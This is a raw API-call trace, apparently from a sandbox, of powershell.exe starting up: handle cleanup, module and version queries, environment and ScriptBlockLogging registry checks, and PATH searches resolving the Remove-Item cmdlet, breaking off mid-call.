[0278.937] CloseHandle (hObject=0x41c) returned 1 [0278.937] CloseHandle (hObject=0x40c) returned 1 [0278.937] CloseHandle (hObject=0x418) returned 1 [0278.938] CloseHandle (hObject=0x414) returned 1 [0278.938] CloseHandle (hObject=0x408) returned 1 [0278.940] DeregisterEventSource (hEventLog=0x1b0d0008) returned 1 [0278.942] CloseHandle (hObject=0xf) returned 1 [0278.943] CloseHandle (hObject=0x43c) returned 1 [0278.943] CloseHandle (hObject=0x438) returned 1 [0278.944] CloseHandle (hObject=0x434) returned 1 [0278.944] CloseHandle (hObject=0x430) returned 1 [0278.944] CloseHandle (hObject=0x21c) returned 1 [0278.945] LocalFree (hMem=0x402200) returned 0x0 [0278.945] LocalFree (hMem=0x401ff0) returned 0x0 [0278.946] CloseHandle (hObject=0x42c) returned 1 [0278.946] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0278.946] CloseHandle (hObject=0x428) returned 1 [0278.947] UnmapViewOfFile (lpBaseAddress=0x1d20000) returned 1 [0278.948] CloseHandle (hObject=0x424) returned 1 [0278.962] CloseHandle (hObject=0x3cc) returned 1 [0278.962] CloseHandle (hObject=0x420) returned 1 Thread: id = 467 os_tid = 0xe70 Thread: id = 475 os_tid = 0xe38 Thread: id = 476 os_tid = 0xe24 Thread: id = 477 os_tid = 0xe20 Thread: id = 478 os_tid = 0xecc Thread: id = 479 os_tid = 0x180 [0274.265] CoCreateGuid (in: pguid=0x1a66dcb8 | out: pguid=0x1a66dcb8*(Data1=0x49dec58d, Data2=0x792e, Data3=0x433c, Data4=([0]=0xaa, [1]=0x3e, [2]=0xec, [3]=0xd3, [4]=0xee, [5]=0x53, [6]=0x8, [7]=0xbe))) returned 0x0 Thread: id = 480 os_tid = 0xdb8 [0278.941] CoGetContextToken (in: pToken=0x1b0cede0 | out: pToken=0x1b0cede0) returned 0x0 [0278.941] CObjectContext::QueryInterface () returned 0x0 [0278.941] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.941] Release () returned 0x0 Thread: id = 481 os_tid = 0xe14 Thread: id = 482 os_tid = 0x69c Thread: id = 492 os_tid = 0xda0 Thread: id = 503 os_tid = 0xe90 [0274.114] SetThreadUILanguage (LangId=0x0) returned 0x7ffffef0409 [0274.126] EtwEventRegister (in: ProviderId=0x2621478, EnableCallback=0x1a674ddc, CallbackContext=0x0, RegHandle=0x2621458 | out: RegHandle=0x2621458) returned 0x0 [0274.177] CoCreateGuid (in: pguid=0x1bb7eac8 | out: pguid=0x1bb7eac8*(Data1=0x36110c61, Data2=0xdab4, Data3=0x473c, Data4=([0]=0x8f, [1]=0x5c, [2]=0xd4, [3]=0x3e, [4]=0xf, [5]=0xa1, [6]=0x4a, [7]=0x28))) returned 0x0 [0274.190] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7ea28 | out: lpPerformanceCount=0x1bb7ea28*=1191516760015) returned 1 [0274.191] GetCurrentProcessId () returned 0x7f8 [0274.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0x3c0 [0274.192] EnumProcessModules (in: hProcess=0x3c0, lphModule=0x2623260, cb=0x200, lpcbNeeded=0x1bb7e7e0 | out: lphModule=0x2623260, lpcbNeeded=0x1bb7e7e0) returned 1 [0274.193] GetModuleInformation (in: hProcess=0x3c0, hModule=0x13f420000, lpmodinfo=0x26234d0, cb=0x18 | out: lpmodinfo=0x26234d0*(lpBaseOfDll=0x13f420000, SizeOfImage=0x70000, EntryPoint=0x13f427c50)) returned 1 [0274.193] CoTaskMemAlloc (cb=0x804) returned 0x1ae03e50 [0274.193] GetModuleBaseNameW (in: hProcess=0x3c0, hModule=0x13f420000, lpBaseName=0x1ae03e50, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0274.194] CoTaskMemFree (pv=0x1ae03e50) [0274.194] CoTaskMemAlloc (cb=0x804) returned 0x1ae03e50 [0274.194] GetModuleFileNameExW (in: hProcess=0x3c0, hModule=0x13f420000, lpFilename=0x1ae03e50, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0274.194] CoTaskMemFree (pv=0x1ae03e50) [0274.194] CloseHandle (hObject=0x3c0) returned 1 [0274.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0274.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e488) returned 1 [0274.195] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e7b0 | out: lpFileInformation=0x1bb7e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7d3020, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7d3020, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xc006d2a8, ftLastWriteTime.dwHighDateTime=0x1d251c4, nFileSizeHigh=0x0, nFileSizeLow=0x6c400)) returned 1 [0274.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e438) returned 1 [0274.195] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x1bb7e888 | out: lpdwHandle=0x1bb7e888) returned 0x74c [0274.196] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x2625868 | out: lpData=0x2625868) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bb7e808, puLen=0x1bb7e800 | out: lplpBuffer=0x1bb7e808*=0x2625c08, puLen=0x1bb7e800) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625920, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625974, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x26259bc, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625a30, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625a6c, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625af0, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625b38, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625ba8, puLen=0x1bb7e7a0) returned 1 [0274.196] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x0, puLen=0x1bb7e7a0) returned 0 [0274.197] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x0, puLen=0x1bb7e7a0) returned 0 [0274.197] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x0, puLen=0x1bb7e7a0) returned 0 [0274.197] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x0, puLen=0x1bb7e7a0) returned 0 [0274.197] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bb7e758, puLen=0x1bb7e750 | out: lplpBuffer=0x1bb7e758*=0x2625c08, puLen=0x1bb7e750) returned 1 [0274.197] VerLanguageNameW (in: wLang=0x409, szLang=0x1bb7e480, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0274.197] VerQueryValueW (in: pBlock=0x2625868, lpSubBlock="\\", lplpBuffer=0x1bb7e7a8, puLen=0x1bb7e7a0 | out: lplpBuffer=0x1bb7e7a8*=0x2625890, puLen=0x1bb7e7a0) returned 1 [0274.421] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7e9e8 | out: lpPerformanceCount=0x1bb7e9e8*=1191539803056) returned 1 [0274.428] EtwEventRegister (in: ProviderId=0x263baf0, EnableCallback=0x1a674f3c, CallbackContext=0x0, RegHandle=0x263bad0 | out: RegHandle=0x263bad0) returned 0x0 [0274.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x1bb7e7e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.497] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7ebc8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7ebc8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0274.497] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0274.497] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0274.501] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7ebc8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7ebc8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0274.501] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7eac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7eac0*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa4, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0274.501] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7ebb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0274.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1bb7d700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1bb7d700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.565] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1bb7d760, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.596] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7e848 | out: phkResult=0x1bb7e848*=0x0) returned 0x2 [0274.597] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7e848 | out: phkResult=0x1bb7e848*=0x0) returned 0x2 [0274.599] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1bb7d6a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.607] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x1bb7e1c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0274.610] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x1bb7e020, nSize=0x80 | out: lpBuffer="") returned 0x90 [0274.610] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x1bb7e000, nSize=0x90 | out: lpBuffer="") returned 0x8f [0274.612] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1bb7dfc0, nSize=0x90 | out: lpBuffer="") returned 0x3a [0274.623] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x402200 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0") returned 0x2a [0274.627] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1bb7dfc0, nSize=0x90 | out: lpBuffer="") returned 0x3a [0274.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0274.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0274.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dec8) returned 1 [0274.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1f0 | out: lpFileInformation=0x1bb7e1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4a6304e0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x4a6304e0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0274.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de78) returned 1 [0274.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e158) returned 1 [0274.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0274.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0274.631] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Remove-Item.*", lpFindFileData=0x1bb7df00 | out: lpFindFileData=0x1bb7df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de28) returned 1 [0274.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e038) returned 1 [0274.633] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1bb7cfe0, nSize=0x90 | out: lpBuffer="") returned 0x0 [0274.633] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0274.633] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0274.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dec8) returned 1 [0274.633] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1f0 | out: lpFileInformation=0x1bb7e1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0274.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de78) returned 1 [0274.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e158) returned 1 [0274.633] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0274.633] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0274.634] FindFirstFileW (in: lpFileName="C:\\Windows\\Remove-Item.*", lpFindFileData=0x1bb7df00 | out: lpFindFileData=0x1bb7df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de28) returned 1 [0274.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e038) returned 1 [0274.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0274.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0274.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dec8) returned 1 [0274.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1f0 | out: lpFileInformation=0x1bb7e1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3fd64, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4920d0e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4920d0e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0274.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de78) returned 1 [0274.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e158) returned 1 [0274.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0274.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0274.635] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Remove-Item.*", lpFindFileData=0x1bb7df00 | out: lpFindFileData=0x1bb7df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de28) returned 1 [0274.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e038) returned 1 [0274.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0274.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0274.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dec8) returned 1 [0274.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1f0 | out: lpFileInformation=0x1bb7e1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4952cdc0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4952cdc0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0274.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de78) returned 1 [0274.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e158) returned 1 [0274.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0274.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0274.636] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Remove-Item.*", lpFindFileData=0x1bb7df00 | out: lpFindFileData=0x1bb7df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de28) returned 1 [0274.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e038) returned 1 [0274.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x1bb7e120, nSize=0x90 | out: lpBuffer="") returned 0x0 [0274.636] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x1bb7df80, nSize=0x90 | out: lpBuffer="") returned 0x8f [0274.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1bb7df40, nSize=0x90 | out: lpBuffer="") returned 0x3a [0274.637] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x402200 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0") returned 0x2a [0274.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1bb7df40, nSize=0x90 | out: lpBuffer="") returned 0x3a [0274.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0274.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0274.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de48) returned 1 [0274.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e170 | out: lpFileInformation=0x1bb7e170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4a6304e0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x4a6304e0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0274.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ddf8) returned 1 [0274.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0d8) returned 1 [0274.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0274.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0274.638] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Remove-Item.*", lpFindFileData=0x1bb7de80 